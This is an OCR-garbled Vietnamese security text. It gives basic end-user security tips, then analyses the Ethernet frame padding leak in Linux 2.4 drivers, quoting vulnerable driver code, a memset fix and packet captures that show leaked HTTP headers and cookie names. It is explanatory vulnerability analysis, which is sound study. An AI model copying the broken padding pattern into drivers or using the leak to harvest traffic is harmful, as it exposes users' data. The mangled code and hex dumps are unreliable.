Mot trong nhitng cach t6t nhat dé cai thién tinh trang an toan cho mdy tinh
cta ban 1a nang cép phién ban méi nhat ciia hé diéu hanh ban dang st dung.

Phan mém diét virus (Anti-virus software)

Trir khi ban 1a chuyén gia k§ thuat thi ban méi c6 thé ph4t hién ra virus
dang 4n bén trong cdc file, con khong ban phai chay cdc phdn mém diét virus.
Ban ciling lén cap nhat cac file dit liéu nhan dang (phat hién) virus mot cach
thuong xuyén. Cac phan mém diét virus ciing 1a cdach bao vé tot cho phép chong
lai hacker vi n6 nhan ra phan 16n cac file bi hack ma hacker ¢6 gang cai dat nén
may tinh ctia ban
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Chia sé file (File sharing)
Khong thé tin dugc ring nhiéu mdy tinh trén Internet c6 cdc file chia sé
duoc kich hoat. Di€u nay 1a thong tin tuyét voi cho cdc hacker vi nhi€u mdy tinh
khi két noi Internet cac file chia sé da duogc kich hoat cung cap ndi dung ctia né
mot cach tu do ra bén ngoai. Cé mot van dé riéng doi véi cac mdy tinh duoc tao
ra trudc nam 2000 1a ching thuong c6 cac file chia sé duoc kich hoat mot cach
mic dinh. Ban ¢6 thé dé dang ki€m tra va thay doi cdcthiét 1ap nay.
Scripting
Trir khi ban tao VB Scripts ban c¢6 thé vo hiéu hoa Script Hosting. Day 1a
diém yéu da bi khai théc
Firewall
Bién phap an toan t6t nhat khi két noi Internet 1a cai dat firewall dé ngan
chan hacker. Di€u nay gin nhu Ia can thiét néu ban dang chay & trang thai luon
luon két n6i qua DSL hodc day cép. C6 thé sit dung phién ban ZoneAlarm2, n
chay & ché do nén va kiém tra bat ky chuong trinh nao c¢6 ging két noi véi
Internet, ké ca bat ky file hacker nao trén mdy tinh cuia ban. N6 ciing 1am cho
may tinh cua ban trong sudt (khong nhin thay dugc) doi véi ké xam nhép trén
Internet. Néu mdy cta ban dang hoat dong & ché€ do don 1¢é thong thudng, mbi
l4n ban cai diat ZoneAlam2 no6 s& thay doi thiét 1ap an toan trén Internet tir mic
trung binh 1én mic cao
Cdc miéng vd (Patches)
Né&u ban dang tim ki€ém két qua an toan cao hon, ban s€ can ap dung céac
miéng vd, d6 12 cac phan mém nhd thém vao phan mém da dugc thiét k& dé doi
phé véi céc 16 hong bao mat nhat dinh va véi nhitng van dé khdc doi véi may
tinh.
Trong thuc t€ phan 16n moi ngudi khong phai lo lang vé€ cdc miéng va trix
khi ho cén thém su an toan vi cédc 1y do nghé nghiép
Duéi day 1a 9 diéu ngudi dung c6 thé thuc hién dé cai thién su an toan khi
két noi Internet
1. Khong mo céc file dinh kém email trir khi ban dang cho doi ching
2. Kiém tra khod méc da dugc déng (closed padlock) hoidc bi€u tugng khod trén
trinh duyét window khi vao cac chi tiét trong thé tin dung ctia ban va cac
thong tin cd nhan khéc trén Web site

3. Chi download nhitng phan mém tlr nhiing sites ban tin tudng

4. Thira nhan tat ca cac thu ctia ban da duoc nguoi khac doc
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5. Sir dung cdc phan mém diét virus va luu trit file dit liéu nhan dang virus dé
cap nhat

6. St dung phién ban méi nhat cua hé diéu hanh va trinh duyét web

7. St dung mat khau t6t, khong phai 1a tén hodc nhitng tir ma ban tim thdy trong
tlr dién

8. Khong luu trit mat khau quan trong trén may cua ban hodc ¢ trong trinh luu
trit mat khau

9. Cai dat firewall. Chiing khong phiic tap va rac r6i nhu ban nghi

3.3 Ethernet frame padding information leakage- Mot vi du dién hinh vé 16
hong co6 nguyén nhdn tir nguoi ldp trinh

Nhu trén da trinh bay, phan 16n cdc 16 hong bao mat c¢6 ngudn goc tir hé
di€éu hanh hoac tir cic tng dung. Diéu nay la do 16i cua ngudi 1ap trinh trong qua
trinh xay dung phian mém. Trong phdn nay ching ta s&€ xem xét cu thé mot
truong hop nhu thé dé 1a “su do di thong tin padding cua cac Ethernet Frame”
(Ethernet frame padding information leakage).

Rat nhiéu driver cho thiét bi card mang Ethernet c6 sai sét trong viéc kiém
soat qua trinh padding trong frame, cho phép ké tan cong quan sat duoc tat ca
céc g6bi tin da duogc chuyén di truGc dé hay cdc phian bo nhé trong kernel. Yéu
diém nay 1a két qua clia su sai sét trong qua trinh thuc hién yéu cdu cia RFC va
do cédc k¥ nang lap trinh con ngheo nan. Két qua Ia sé sinh ra rdt nhiéu 16i khac
phét sinh tir su do di thong tin nay. Diéu nay dugc ching td qua cdc doan ma va
céc goi chan bat duoc.

Cac chuin Ethernet dua ra cdc gi6i han nghiém ngit vé cd clia céc
encapsulated packet, cho nén cac packet nho phai dugc padding cho du c& t6i
thiéu. Rat nhiéu cic trinh diéu khién thiét bi c6 anh hudng dén viéc gy ra sai s6t
trong qué trinh padding cac géi nho. Ching lay dit liéu con sét lai trong cac
buffer dé padding chit khong khdi tao cdc gid tri d6 vé 0 nhu RFC da yéu cau.
Vi tri cua cac buffer chita frame sé quyét dinh dén ndi dung clia cac byte
padding.

Trudc hét chiing ta s€ xem xét mot s6 van dé co ban vé Ethernet.

Ethernet Frame.

Ethernet 12 mot giao thic & tAng datalink st dung dé truyén céc giao thiic
O tang cao hon gitta cdc mdy tinh vGi nhau. Viéc truyén dit liéu qua Ethernet
duoc hinh thanh bdi ludng bit roi rac, duoc goi la cac frame. Cac frame nay tuan
thi 1 trong 2 dinh dang dugc x4c dinh trong chuin IEEE 802.3. Céc dinh dang
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nay cho phép mot hé thong thu c6 thé bién déi chinh xdc mot ludng bit tix
Ethernet thanh dit liéu ¢ thé hiéu duoc duoc t6 chiic thanh cic section goi 1 cac
truong (field). Cac truong nay cung cap mot s6 co ché chong mat mat dir liéu,
chita thong tin vé nguén va dich cua frame, chita dit liéu da duoc tém luoc
(encapsulated data) va cung cdp mot s6 thong tin quan trong khac.

Trudong data 12 1 buffer c¢6 do dai thay d6i, n6 chita cdc encapsulated
packet tir tAng trén duogc frame truyén di qua Ethernet. Cdc qui dinh trong céc
chuén Ethernet gi6i han ¢& nho nhét clia trudng nay 1a 46 byte va ¢d 16n nhat 1a
1500 byte. Néu dit liéu giao thic & tAng trén c6 ¢& nho hon gi4 tri t6i thiéu thi né
phai dugc padding cho du.

Giao ti€p gitta TCP/IP v6i cac Ethernet frame.

Viéc encapsulation cdc géi IP dé€ truyén trén cac mang Ethernet dugc dinh
nghia trong hai RFC: 894 va 1042, dinh nghia qua trinh encapsulate cic goi IP
cho cdc mang IEEE 802.3. Ca hai RFC déu cung cap cac huéng dan vé cdch céc
g6i IP nho hon gid tri t6i thiéu duge padding nhu th€ ndo (bang cac octet 1a 0)
cho du ¢ t6i thi€u ctia mot Ethernet frame. Viéc padding nay khong phai l1a
thanh phan ctia géi IP va cling khong dugc tinh trong truong Total length cua IP
header, don gian n6 chi la thanh phan cua tang datalink.

Su khong 10 rang trong cac RFC lam cho nguoi ta khong ro 1a ai chiu
trach nhiém dé padding cdc Ethernet frame; nhu vay, né 1a doc lap trong qué
trinh thuc hién. Rat nhiéu hé thong thuc hién viéc padding & céc vi tri khiac nhau
nhu & phin cing card mang (“padding tu dong”), bang phan mém driver thiét bi
va tham chi & mot stack riéng biét & tang 2. Ngudi ta nhan thay rat nhi€u qua
trinh thuc hién chic ning padding bang cac driver thiét bi.

Duéi day ching ta s& xem xét nhitng yéu di€ém phat hién trong qué trinh
padding cac Ethernet frame.

Phan nay s€ nghién cttu vé cdc 16i lap trinh thong qua debug. Nhitng anh
hudng phat sinh tir 16i nay sé duoc phan tich thong qua cdc doan ma va cac goi
bat dugc tir cac driver gay 16i. Trude khi di sau nghién citu cdc ma driver thiét bi
phiic tap, ta nghién cttu mot vi du vé tim 16i dé 1am rd nhitng 16i 1ap trinh co ban.

Vé mat ly thuyét

Vi du sau day dua ra nhiing 16i 1ap trinh co ban gay ra su do di thong tin.

01 }/oi d xmt_frane(char *frame_buf, int frane_len)
02

03 int length;

04
05
06 if (fr _ < M N_FRAME_SZ)
07 length M N_FRAME_SZ;
08 el se
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28 length = franme_| en
L1 copy_to_tx_buf (frame_buf, Iength);
1 jerm
Ham xmit_frame() bao gém hai tham s0, tham s6 thi nhét 1a buffer chita
frame phat di, tham s6 th hai chita do dai cua frame trong buffer. Poan ma nay
thuc hién kiém tra xem frame c6 du do dai t6i thiéu khong (dong 06). Néu né
nho hon do dai t6i thiéu thi khi d6 bién length duoc khoi tao mot gid tri méi
bang do dai toi thiéu (dong 07), néu khong thi length dugc gan bing gid tri thuc
t€ clia frame tr frame_len(dong 09). Gid tri cua length duogc sut dung dé copy
frame tir frame buffer sang transmit buffer trén thi€t bi mang (dong 11). Tai day,
céc frame chua du c& t6i thi€u sé dugc padding, tir frame_len thanh length, véi
nd dung con soét lai trong buffer. Chinh ndi dung con sét lai nay 1a nguon thong
tin bi do di.
Dé stta doan ma ndy, don gidn ta chi thém 1 dong dé xoa hét cdc byte
padding. Vi du:
07 | ength = W N FRAVE 57 )

08 nenset (frame_buf + frane_len, 0, length - frane_len);
09 } else

Poan ma nay 1am rd nhitng 16i 1ap trinh cho moi ngudi, ké ca nhitng ngudi
khong phai 1a 1ap trinh vién. Nhung dudng nhu rat nhi€u céc driver thiét bi van
con chita nhitng doan ma cd 16i tuong tu.

Cic byte padding c6 thé dugc chén vao:

e Kernel buffer dong.

e Kernel buffer tinh.

e Buffer phat cta thiét bi phan cing.

Sau day chuing ta s€ nghién cttu k§ hon tung loai trén.

Chi y mot diéu rang trong cdc doan ma vi du sau day, chi c6 nhitng dong lién
quan la duoc ddnh so, va cho du van coi ETH_ZLEN Ia ¢& t6i thiéu cua Ethernet
frame thi gia tri thuc t€ cua n6 la doc 1ap trong qua trinh thuc hién. Cac thiét bi
khac nhau cung cap cac dich vu khac nhau doéi véi cac frame di ra va cac driver

tuong ung cta ching ciling vay.
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Kernel buffer dong

Cac Ethernet frame dugc xay dung dua trén cac encapsulated packet cua
cac giao thitc & tang trén. Cac packet nay dugc xay dung bai TCP/IP stack trong
kernel va dugc dua vao cac buffer bo tri cho muc dich nay.

Duéi day 1a mot vi du 14y tir Linux kernel 2.4.18, st dung mot buffer cho
mot packet. Buffer nay dugc bo tri dong trong bd nhé cua kernel khi duoc yéu
ciu va do d6, néu khong dugc khoi tao, nd s€ chia dit liéu con sét lai tir kernel
memory pool.

Doan mad Driver

fusr/src/linux/drivers/net/atp.c
/[* atp.c is a Linux device driver for Ethernet adapters based on the Real Tek RTL8002 and
RTL8012 chi psets*/

static int atp_send_packet (struct sk_buff *skb, struct net_device *dev)

{

struct net_local *Ip = (struct net_local *)dev->priv;
| ong i oaddr = dev->base_addr;

int |ength;

| ong flags;

01 length = ETH ZLEN < skb->len ? skb->len : ETH ZLEN,
netif_stop_queue(dev);

/* Disable interrupts by witing 0x00 to the Interrupt Mask Register.
This sequence nmust not be interrupted by an incom ng packet. */

spin_l ock_i rgsave( & p->l ock, flags);
wite_reg(ioaddr, IMR 0);
wite_reg_high(ioaddr, IMR 0);

spi n_unl ock_i rqgrestore(& p->lock, flags);

02 write_packet (ioaddr, |ength, skb->data,
dev->if_port);

| p->pac_cnt _i n_t x_buf ++;

if (Ip->tx_unit_busy == 0) {
trigger_send(ioaddr, |ength);

| p->saved_tx_size = 0; /* Redundant */
| p->re_tx = 0;

| p->tx_unit_busy = 1;

} else

| p- >saved_t x_si ze = | ength;

/* Re-enable the LPT interrupts. */

wite_reg(ioaddr, MR 1SR RXOK | ISR TxErr | ISR TXCK);
wite_reg_high(ioaddr, I MR, |SRh_RxErr);
dev->trans_start = jiffies;

dev_kfree_skb (skb);

return O;

}

Cau tric skb chita mot con tro t6i buffer xay dung frame la skb->data, va
cd cua frame va c& cua frame trong buffer la skb->len. Ma & dong 01 su dung
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mot cau tric ngon ngit C dé khéi tao bién length néu skb->len 16n hon
ETH_ZLEN thi length nhan gia tri 1a skb->len trong truong hop ngugc lai length
s€ nhan gia tri bang ETH_ZLEN. Do d6, néu do dai cua frame nho hon do dai
t0i thiéu ctia chuin Ethernet (ETH_ZLEN) thi n6 s& dugc padding cho bing gid
tri t6i thiéu do. Gid tri do dai khi d6 duoc sir dung trong qua trinh copy frame tir
buffer skb->data ra thiét bi phan ctiing (dong 02).

Phdn tich cdc géi bdt diugc

Nhing goi bat duge dudi day cho thdy noi dung ctia cac byte padding thay
déi nhu thé ndo khi cic phan bo nhd khic nhau duoc sir dung dé xay dung cac
ICMP echo packets.

14: 18: 48. 146095 10.50.1.60 > 10.50.1.53: icnp: echo
request (DF) (ttl
64, id 0, len 29)
4500 001d 0000 4000 4001 240c 0a32 013c
0a32 0135 0800 83f9 5206 2200 00
14:18: 48. 146393 10.50.1.53 > 10.50.1.60: icnp: echo reply
(ttl 255,
id 3747, len 29)
4500 001d Oea3 0000 ff01 9668 0a32 0135
0a32 013c 0000 8hf9 5206 2200 0059 0100
6¢c02 0000 c006 0000 0600 0000 0010
14: 18: 49. 146095 10.50.1.60 > 10.50.1.53: icnp: echo
request (DF) (ttl
64, id 0, len 29)
4500 001d 0000 4000 4001 240c 0a32 013c
0a32 0135 0800 82f9 5206 2300 00
14:18:49. 146387 10.50.1.53 > 10.50.1.60: icnp: echo reply
(ttl 255,
id 3749, len 29)
4500 001d Oea5 0000 ff01 9666 0a32 0135
0a32 013c 0000 8af9 5206 2300 0000 4003
2300 4003 f101 1200 edOl1l feff 0000
14:18:50. 146093 10.50.1.60 > 10.50.1.53: icnp: echo
request (DF) (ttl
64, id 0, len 29)
4500 001d 0000 4000 4001 240c 0a32 013c
0a32 0135 0800 81f9 5206 2400 00
14:18: 50. 146396 10.50.1.53 > 10.50.1.60: icnp: echo reply
(ttl 255,
id 3751, len 29)
4500 001d Oea7 0000 ffO01l 9664 0a32 0135
0a32 013c 0000 89f9 5206 2400 0000 8002
1700 e002 1700 4003 9101 c001 0600

Kernel buffer tinh
Mot s6 driver thi€t bi copy cac frame vao cic bd dém trong (internal

buffer) sir dung d€ guri chiing t6i card mang. Ly do 1am nhu vay lai tuy thuoc vao
tung loai card. Poan ma sau day dugc lay tr Linux kernel 2.4, n6 sit dung mot
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alignment buffer d€ dam bdo ring dia chi ctia frame c6 thé sip xép duoc boi
phan ciing cta card mang. Card RealTek 8139 chipset doi hoi dia chi cua buffer
phai dugc sip xép trong khuon kho 1 tir 32 bit. Boi vi alignment buffer nay
khong dugc lam sach gilta cac qua trinh st dung, nén ndi dung clia cac phan
trudc s€ vo tinh bi sir dung lam cac byte padding.

Doan md Driver.

ftp://ww.scyl d.com pub/network/test/rtl8139.c
/* rt18139.c is a Linux device driver for the Real Tek 129/8139 chi psets.*/

icint

tat
t18129 start_xmt(struct sk_buff *skb, struct net_device *dev)

s
r
{
struct rtl18129 private *tp = (struct rtl 8129 private *)dev->priv;
| ong i oaddr = dev->base_addr;

int entry;
if (netif_pause_tx_queue(dev) !'= 0) {

/* This watchdog code is redundant with the nmedia nmonitor tiner.
*/

jiffies - dev->trans_start > TX_TI MEQUT)
x_ti meout (dev);

/* Cal cul ate the next Tx descriptor entry. */

entry = tp->cur_tx % NUM TX_DESC;
tp->tx_skbuff[entry] = skb;
01 if ((long)skb->data & 3) {

/* Must use alignment buffer. */

02 mencpy(tp->tx_buf[entry], skb->data, skb->len);

03 outl(virt_to_bus(tp->tx_buf[entry]), ioaddr + TxAddrO + entry*4);
04 } else

05 outl (virt_to_bus(skb->data), ioaddr + TxAddrO + entry*4);

/* Note: the chip doesn't have auto-pad! */

06 outl (tp->tx_flag | (skb->len >= ETH ZLEN ? skb->len : ETH ZLEN),
i oaddr + TxStatusO0 + entry*4);

/* There is a race condition here -- we mght read dirty tx, take an interrupt that
clears the Tx queue, and only then set tx full.So we do this in two phases. */

if (++tp->cur_tx - tp->dirty_tx >= NUM TX DESC) {
set_bit(0, &p->tx_full);
if (tp->cur_tx - (volatile unsigned int)tp->dirty tx <
NUM TX_DESC) {
clear_bit(0, & p->tx_full);
netif_unpause_t x_queue(dev);
} else
netif_stop_tx_queue(dev);
} else
netif_unpause_t x_queue(dev);
dev->trans_start = jiffies;
if (tp->nmsg_l evel & NETIF_MSG TX_QUEUED)
print k( KERN_DEBUG' %s: Queued Tx packet at % size % to slot
%l.\n", dev->nanme, skb->data, (int)skb->len, entry);
return O;

}

Doan ma nay giéng véi doan ma trén, chi khac trong viéc kiém tra xem
buffer chita frame da duoc siap xé€p hay chua. Néu dia chi cua buffer chua duoc
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sép x€p trong khuon kho 4 byte (dong 01) thi frame s& dugc copy sang mot
buffer duoc duy tri boi driver thiét bi da dugc sip x€p (dong 02). Dia chi cia
buffer da dugc siap x€p (cla driver (dong 03) hay buffer goc(dong 05)) duogc
chuyén t6i card mang. Card nay sé duoc thong bao dia chi ctia buffer chita frame
va do dai cua frame & dong 06. Gia tri 16n hon trong hai gia tri ETH_ZLEN va
skb->len s& dugc chuyén t6i card nhu 12 ¢& ctia frame phat di (dong 06).

Cac byte padding luon chira ndi dung cua cac packet trude dé va do do sé
lam do di dit liéu nhay cam.

Phan tich cdc frame bdt duoc.

Vi du duéi day duoc lay ra tt Linux kernel 2.4 véi card mang PCMCIA
st dung driver xirc2ps_cs.c.

Nhitng dong tcpdump cho thay rat ré van dé do di thong tin. Thong tin bi
do di 1a luong thong tin dua trén giao thiic http.

14: 49: 09. 306008 192.168.222.11 > 192.168. 222. 25: i cnp:
echo reply (DF) (ttl 128, id 577, |len 28)

0x0000 4500 001c 0241 4000 8001 bb29 c0a8 deOb
E....A@...)....

0x0010 cO0a8 del9 0000 48f9 b406 0300 0400 0000

0x0020 0004 0650 5542 4c49 4303 4edc 5307 ...PUBLIC NLS.
14:50: 46. 313706 192.168.222.11 > 192.168. 222. 25: icnp:
echo reply (DF) (ttl 128, id 854, |en 28)

0x0000 4500 001c 0356 4000 8001 bal4 cOa8 deOb
E....V@........

0x0010 cO0a8 del9 0000 e7f8 b406 6400 4b43 4c4l
.......... d. KCLA

0x0020 4e47 2e44 4c4c 3c00 0090 2787 ce24 NG DLL<...'..$
14:51: 02. 315077 192.168.222.11 > 192.168. 222. 25: icnp:
echo reply (DF) (ttl 128, id 870, |en 28)

0x0000 4500 001c 0366 4000 8001 ba04 cOa8 deOb
E...f@........

0x0010 c0Oa8 del9 0000 d7f8 b406 7400 7468 656d
.......... t.them

0x0020 652e 646c 6¢3c 0000 9027 87ce 2400 e.dlI<..."..8$.
14:51:11. 315842 192.168.222.11 > 192.168. 222. 25: i cnp:
echo reply (DF) (ttl 128, id 895, |en 28)

0x0000 4500 001c 037f 4000 8001 b9eb c0a8 deOb

@
0x0010 cO0a8 del9 0000 cef8 b406 7d00 743a 204d
.......... }.t:. M
0x0020 6f 7a 696c 6¢61 2f35 230 2028 5769 ozilla/5.0. (W
14:51: 50. 318904 192.168.222.11 > 192.168. 222. 25: i cnp:
echo reply (DF) (ttl 128, id 1435, |len 28)
0x0000 4500 001c 059b 4000 8001 b7cf cO0a8 deOb

@)
0x0010 cO0a8 del9 0000 a7f8 b406 a400 6b65 6570

............ keep
0x0020 2d61 6¢69 7665 0dOa 436f 6f6b 6965 -alive.. Cookie
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14:51:51. 319076 192.168.222.11 > 192.168. 222. 25: icnp:
echo reply (DF) (ttl 128, id 1436, |en 28)
0x0000 4500 001c 059c 4000 8001 b7ce cOa8 deOb

@
0x0010 c0a8 del9 0000 a6f8 b406 a500 434f 500d
............ COP.
0x0020 0a52 6566 6572 6572 3a20 6874 7470 .Referer:.http
14:52: 03. 320000 192.168.222.11 > 192.168. 222. 25: icnp:
echo reply (DF) (ttl 128, id 1449, l|len 28)
0x0000 4500 001c 05a9 4000 8001 b7cl cO0a8 deOb

@
0x0010 cO0a8 del9 0000 9af 8 b406 bl00 2057 696e
............. W n
0x0020 646f 7773 204e 5420 352e 303b 2065 dows.NT.5.0;.e
14:52: 04. 320125 192. 168.222.11 > 192.168. 222. 25: i cnp:
echo reply (DF) (ttl 128, id 1450, |len 28)
0x0000 4500 001c O5aa 4000 8001 b7cO0 c0a8 deOb

@
0x0010 cO0a8 del9 0000 99f8 b406 b200 2f 78 6d6¢C
............ / xm
0x0020 2c61 7070 6¢c69 6361 7469 6f6e 2f78 , application/x
14:52: 05. 320151 192.168.222.11 > 192.168. 222. 25: i cnp:
echo reply (DF) (ttl 128, id 1451, len 28)
0x0000 4500 001c O5ab 4000 8001 b7bf c0a8 deOb

@
0x0010 cOa8 del9 0000 98f8 b406 b300 742f 706¢
............ t/ pl
0x0020 6169 6e3b 713d 302e 382c 7669 6465 ain; g=0. 8, vi de
14:52: 06. 320274 192.168.222.11 > 192.168. 222. 25: i cnp:
echo reply (DF) (ttl 128, id 1452, |len 28)
0x0000 4500 001c O5ac 4000 8001 b7be c0a8 deOb

@
0x0010 cOa8 del9 0000 97f8 b406 b400 2c74 6578
............ , tex
0x0020 742f 6373 732c 2a2f 2a3b 713d 302e t/css, */*; q=0.
14:52: 07. 320319 192. 168. 222. 11 > 192. 168. 222. 25: icnp:
echo reply (DF) (ttl 128, id 1453, |len 28)
0x0000 4500 001c 0O5ad 4000 8001 b7bd c0Oa8 deOb

@
0x0010 cOa8 del9 0000 96f8 b406 b500 677a 6970
............ gzip
0x0020 2c20 6465 666Cc 6174 652Cc 2063 6f6d ,.defl ate,.com
14:52: 08. 320393 192. 168.222.11 > 192.168. 222. 25: icnp:
echo reply (DF) (ttl 128, id 1455, |len 28)
0x0000 4500 001c O5af 4000 8001 b7bb c0a8 deOb

@
0x0010 cO0a8 del9 0000 95f8 b406 b600 436f 6f6b
............ Cook
0x0020 6965 3a20 4153 5053 4553 5349 4f4e ie:. ASPSESSI ON
14:52:09. 320478 192. 168.222.11 > 192.168. 222. 25: i cnp:
echo reply (DF) (ttl 128, id 1456, |en 28)
0x0000 4500 001c 05b0 4000 8001 b7ba c0a8 deOb

@
0x0010 cOa8 del9 0000 94f8 b406 b700 3a20 6874
............ o, ht
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0x0020 7470 3a2f 2f77 7777 2e63 7279 7374 tp://ww. cryst

Buffer phat cua thiét bi phan ciing.

Mot so driver thi€t bi c6 mot bién thé rat nguy hiém clia yéu diém nay, dé

la ching thong bao cho card mang khong chinh xac s6 byte ma ching dua vao

buffer phdt ctia thiét bi phan cing. Khi diéu nay xay ra, thi cidc byte padding

dugc cung cip boi ndi dung cua cac frame trudc dé s€ chi€ém lay cac khoang

trong con lai d6. Driver axnet_cs.c ciia Linux 2.4 da cho thay rat rd diéu nay.

DPoan ma d6 thong bdo khong chinh xac cho thiét bi 12 mot s6 t6i thiéu cdc byte

da duoc copy sang Tx buffer, trong thuc t&€ 1a do dai cua frame 1a tit ca nhiing gi

da duogc cung cap, card s€ phat di frame c6 do dai ma né da duoc thong bao, va

do d6 sé gui di cac byte tir Tx buffer dudi dang cac byte padding.

Doan md Driver.

[usr/src/linux/drivers/net/pcntial axnet_cs.c

/*axnet _cs.c is a Linux device driver for PCMCI A Et hernet cards based on the Asix88190

chi pset . */

static int ei_start_xmt(struct sk_buff *skb, struct net_device *dev)

{

| ong e8390_base = dev->base_addr;

struct ei _device *ei _local = (struct ei_device *) dev->priv;
int length, send_l ength, output_page;

unsi gned |l ong fl ags;

netif_stop_queue(dev);

01 I ength = skb->len;

/* Mask interrupts fromthe ethercard. SM?. We have to grab the | ock here otherw se the

| RQ handl er on another CPU can flip wi ndow and race the | RQ mask set.

the ntast filter not disabling irgs if we dont |ock
*/

spin_l ock_irgsave(&ei _| ocal - >page_| ock, flags);
outb_p(0x00, e8390 base + ENO_I MR);
spi n_unl ock_i rgrestore(&ei _| ocal - >page_I| ock, flags);

/*
* Sl ow phase with | ock held.
*/

di sabl e_i rgq_nosync(dev->irq);

spi n_|l ock(&ei _| ocal - >page_| ock) ;

el _local->rqglock = 1;

02 send_length = ETH ZLEN < length ? length : ETH_ZLEN,

*

W have two Tx slots available for use. Find the first free
slot, and then perform sone sanity checks. Wth two Tx bufs,
you get very close to transmtting back-to-back packets. Wth
only one Tx buf, the transmtter sits idle while you reload the

* ok k% ok ok~

~

if (ei_local->tx1 == 0)
{
out put _page = ei _|l ocal ->tx_start_page;
03 ei _local ->tx1 = send_| ength;
if (ei_debug && ei _local->tx2 > 0)
printk(KERN DEBUG "%: idle transmitter tx2=%d,
| asttx=%, txing=%.\n",
dev->nanme, ei _local->tx2, ei_local->lasttx, ei_local-

>t xi ng) ;
}
else if (ei_local->tx2 == 0)
{
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out put _page = ei _|local ->tx_start_page + TX_1X PAGES;
04 ei _|ocal ->tx2 = send_| engt h;
if (ei_debug && ei _|ocal->tx1 > 0)
printk(KERN_DEBUG "%: idle transmtter, tx1=%d,
| asttx=%, txing=%.\n",
dev->nane, ei_local->tx1, ei_local->lasttx,
ei _|local ->txing);
}

el se

{

/* We shoul d never get here. */

if (ei_debug)
print k(KERN_DEBUG "%s: No Tx buffers free! tx1=%l
tx2=% | ast =%\ n", dev- >nane, ei | ocal ->tx1,
ei _local ->tx2,ei _l ocal ->l asttx);
ei _local ->irqglock = 0;
netif_stop_queue(dev);
outb_p(ENI SR_ALL, e8390_base + ENO_I MR);
spi n_unl ock( &ei _| ocal - >page_| ock) ;
enable_irq(dev->irq);
ei _|local ->stat.tx_errors++;
return 1,

}

/*

Ckay, now upload the packet and trigger a send if the transmtter isn't already sending.
If it is busy, the interrupt handler will trigger the send later, upon receiving a Tx
done interrupt.

*/

05 ei _bl ock_out put (dev, |ength, skb->data, output_page);
if (! ei_local->txing)
{

ei _local->txing = 1;

NS8390_tri gger _send(dev, send_| ength, output_page);
dev->trans_start = jiffies;

i f (output_page == ei_| ocal ->tx_start_page)
{
ei _local->tx1 = -1;
ei _local->lasttx = -1;
}
el se
{
ei _local->tx2 = -1;
ei local->lasttx = -2;
}
}

el se ei _| ocal - >t xqueue++;

if (ei_local->tx1 & ei _| ocal ->tx2)
netif_stop_queue(dev);

el se

netif _start_queue(dev);

/* Turn 8390 interrupts back on. */

ei _local->irqglock = 0;

outb_p(ENI SR _ALL, e8390 base + ENO_I MR);
spi n_unl ock( &ei _I ocal - >page_| ock) ;

enabl e_irq(dev->irq);

dev_kfree_skb (skb);

ei _local ->stat.tx_bytes += send_| ength;
return O;

}
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Bién length dugc gan do dai thuc t€ ctia géi (dong 01). Gia tri ctia bién
length duoc so sdnh véi do dai t6i thiéu cua frame, va gid tri 16n hon s& dugc gén
cho bién send_length (dong 02). Thiét bi s& duogc thong bao do dai cua frame
trong dong 03 hoac dong 04 tuy thudc vao buffer nao trong hai Tx buffer con
trong. Tuy nhién, & dong 05, do dai thuc cua packet dugc sir dung dé copy frame
tGi thi€t bi. Cac padding byte s€ ludn chia dit liéu tir cac frame trudec dugc phat
di boi thiét bi. Pay 1a mot nhuoc diém rat nguy hiém boi dit liéu chita trong cdc
byte padding luon 1a moét trong cac goi duoc phat di gan day nhat.

Phan tich cdc frame bdt duoc.

Vi du nay duogc 1ay ra tir Linux kernel 2.4 v6i card mang PCMCIA dung

driver axnet_cs.c.

14:

14:

14:

14:

14:

14:

Céc dong tcpdump cho thdy rat ro van dé do di thong tin.

18:48. 146095
4500
0a32

18:48. 146393
4500
0a32
6c02

18:49. 146095
4500
0a32

18:49. 146387
4500
0a32
2300

18:50. 146093
4500
0a32

18:50. 146396
4500
0a32
1700

10.50.1.60 > 10.50.1.53:
001d 0000 4000 4001 240c
0135 0800 83f9 5206 2200
10.50.1.53 > 10.50. 1. 60:
001d Oea3 0000 ff0l 9668
013c 0000 8bf9 5206 2200
0000 c006 0000 0600 0000
10.50.1.60 > 10.50. 1. 53:
001d 0000 4000 4001 240c
0135 0800 82f9 5206 2300
10.50.1.53 > 10.50. 1. 60:
001d Oea5 0000 ff0l 9666
013c 0000 8af9 5206 2300
4003 f101 1200 ed01 feff
10.50.1.60 > 10.50. 1. 53:
001d 0000 4000 4001 240c
0135 0800 81f9 5206 2400
10.50.1.53 > 10.50. 1. 60:
001d Oea7 0000 ffOl 9664
013c 0000 89f9 5206 2400
e002 1700 4003 9101 c001

icnmp
0a32
00

i cnp:
0a32
0059
0010
i cnp:
0a32
00

i cnp:
0a32
0000
0000
i cnp:
0a32
00

i cnp:
0a32
0000
0600

echo
013c

echo
0135
0100

echo
013c

echo
0135
4003

echo
013c

echo
0135
8002

request (DF) (ttl64, id 0, len 29)

255,id 3747, len 29)

reply (tt

request (DF) (ttl64, id O, len 29)

255,id 3749, len 29)

reply (tt

request (DF) (ttl64, id O, len 29)

255, id 3751, len 29)

reply (tt

Trén day chiing ta da trinh bay va xem xét k§ ludng mot 16i trong qua
trinh thuc hién padding cdc Ethernet frame. Diém yéu ndy anh hudng dén rat
nhi€u hé théng va nguoi ta tin ring né con anh hudng nhiéu hon nita. Qua su
phan tich & trén ching ta c6 thé thay chi cAn mot so xudt rat nho cta ngudi lap
trinh ciing tao ra mot 16 héng rat nguy hiém gitip cho ké tdn cong loi dung dé tin
cong vao hé théng. DE xay dung dugc céc chuong trinh thuc su an toan, thuc su
manh, khong chita cdc 16 héng an toan ngoai viéc Iuu y céc truong hop dé dan
dén 16 hong nhu da trinh bay & phan 3.1, nguoi 1ap trinh cén tuan thi theo cic
nguyén ly xay dung cac chuong trinh an toan nhu & dudi day:

1. Khong thira nhan rang céc dit liéu vao 1a hop 1&. Vi du mot déi s6 can mot s6
nguyén tir 2-7, hay kiém lai diéu d6. Néu mot d6i s6 cAn mot xau ky tu khong
rong ma do dai khong vuot qua 13, hay kiém lai diéu d6. Kiém tra dit liéu vao
twong tac dé chic chin ring né chi chita céc ky tu “tot” (“good” characters).
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Xem xét cch dit liéu vao dugc phan tich khi ching duoc thay thé. Kiém tra
cac doi s6 qua cac bi€n moi truong.

Kiém tra tat ca cdc tham s6 cua 101 goi hé thong va ma tra vé cua cic 16i goi
hé thong. Cac 10i goi hé thoéng cin kiém lai cdc doi s6 cua ching, nhung
phén 16n céc 161 goi cua hé diéu hanh khong thuc hién di€éu nay nén ban phai
thuc hién né. Tat ca cdc 10i goi hé thong tra vé két qua néu thuc hién thanh
